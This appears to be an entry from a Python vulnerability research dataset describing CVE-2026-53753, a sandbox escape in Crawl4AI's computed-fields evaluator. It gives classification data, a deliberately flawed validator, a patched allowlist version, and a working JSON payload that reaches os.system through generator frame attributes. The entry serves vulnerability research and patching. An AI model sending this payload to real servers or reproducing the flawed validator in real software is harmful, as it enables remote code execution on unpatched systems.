VAITP Dataset

← Back to the dataset

CVE-2026-53753

Crawl4AI insecure eval allows sandbox escape and remote code execution.

  • CVSS 10.0
  • CWE-94
  • Input Validation and Sanitization
  • Remote

Crawl4AI is an open-source LLM friendly web crawler & scraper. Prior to 0.8.7, the _safe_eval_expression() function in the computed fields feature uses an AST validator that only blocks attributes starting with underscore. Python generator and frame object attributes (gi_frame, f_back, f_builtins) do NOT start with underscore, enabling a complete sandbox escape to achieve arbitrary code execution. The attack requires no authentication (JWT disabled by default) and is triggered via POST /crawl with a crafted extraction schema. This vulnerability is fixed in 0.8.7.

CVSS base score
10.0
Published
2026-06-23
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Crawl4AI
Fixed by upgrading
Yes

Solution

Upgrade to Crawl4AI version 0.8.7 or later.

Vulnerable code sample

import ast

class FlawedASTValidator(ast.NodeVisitor):
    def visit_Attribute(self, node):
        # The vulnerability: only attributes starting with '_' are blocked.
        # Attributes like 'gi_frame', 'f_back', and 'f_builtins' are allowed.
        if node.attr.startswith('_'):
            raise ValueError("Access to private attributes is not allowed.")
        self.generic_visit(node)

def _safe_eval_expression(expression: str, context: dict = None) -> any:
    """
    This function simulates the vulnerable behavior from Crawl4AI prior to 0.8.7.
    It uses a flawed AST check before evaluating a user-provided expression,
    making it vulnerable to a sandbox escape and remote code execution.
    """
    if context is None:
        context = {}

    tree = ast.parse(expression, mode='eval')

    validator = FlawedASTValidator()
    validator.visit(tree)

    code_obj = compile(tree, filename='<string>', mode='eval')
    
    # The globals dictionary is restricted, but the payload can bypass this
    # by accessing frame objects that are not blocked by the validator.
    return eval(code_obj, {"__builtins__": {}}, context)

Patched code sample

import ast

class SecurityError(Exception):
    """Custom exception for security violations in safe_eval."""
    pass

# Allowlist of safe built-in functions
_ALLOWED_BUILTINS = {
    'str', 'int', 'float', 'len', 'list', 'dict', 'set', 'tuple',
    'max', 'min', 'sum', 'abs', 'round', 'any', 'all', 'sorted',
    'isinstance', 'range'
}

# Allowlist of safe attributes, which is the core of the fix.
# It prevents access to dangerous attributes like 'gi_frame', 'f_back', etc.
_ALLOWED_ATTRIBUTES = {
    # Common and safe string attributes
    'strip', 'split', 'replace', 'lower', 'upper', 'title', 'capitalize',
    # Common and safe list/dict attributes
    'append', 'extend', 'insert', 'remove', 'pop', 'clear', 'index', 'count', 'sort', 'reverse', 'copy',
    'keys', 'values', 'items', 'get',
}


class _SafeExpressionValidator(ast.NodeVisitor):
    """
    AST visitor to validate expressions for safe evaluation.
    This fixed version uses an allowlist for attribute access.
    """
    def visit_Call(self, node: ast.Call) -> None:
        if isinstance(node.func, ast.Name) and node.func.id not in _ALLOWED_BUILTINS:
            raise SecurityError(f"Calling the function '{node.func.id}' is not allowed.")
        self.generic_visit(node)

    def visit_Attribute(self, node: ast.Attribute) -> None:
        # Still blocks attributes starting with underscore as a first-level defense.
        if node.attr.startswith('_'):
            raise SecurityError(f"Access to private attribute '{node.attr}' is not allowed.")
        
        # ** THE FIX **
        # Checks the attribute against a safe allowlist, preventing access to
        # dangerous attributes like 'gi_frame', 'f_globals', 'f_builtins', etc.
        if node.attr not in _ALLOWED_ATTRIBUTES:
            raise SecurityError(f"Access to attribute '{node.attr}' is not allowed for security reasons.")
        
        self.generic_visit(node)

# Example of how this validator would be used in the safe evaluation function.
# The original vulnerable function did not have the `if node.attr not in _ALLOWED_ATTRIBUTES:` check.
def _safe_eval_expression(expression: str, context: dict):
    """
    Safely evaluates a Python expression string.
    """
    try:
        tree = ast.parse(expression, mode='eval')
        validator = _SafeExpressionValidator()
        validator.visit(tree)
        
        # The 'builtins' dictionary is carefully controlled.
        safe_builtins = {b: __builtins__[b] for b in _ALLOWED_BUILTINS if b in __builtins__}
        
        # Evaluation is done with a restricted global and local context.
        return eval(compile(tree, filename='<string>', mode='eval'), {"__builtins__": safe_builtins}, context)
    except (SecurityError, SyntaxError, NameError, TypeError, Exception) as e:
        raise SecurityError(f"Failed to safely evaluate expression: {e}") from e

Payload

{
  "url": "http://example.com",
  "extraction_schema": {
    "computed_fields": [
      {
        "field": "rce",
        "expression": "(c for c in []).gi_frame.f_globals['__builtins__']['__import__']('os').system('id')"
      }
    ]
  }
}

Cite this entry

@misc{vaitp:cve202653753,
  title        = {{Crawl4AI insecure eval allows sandbox escape and remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-53753},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-53753/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::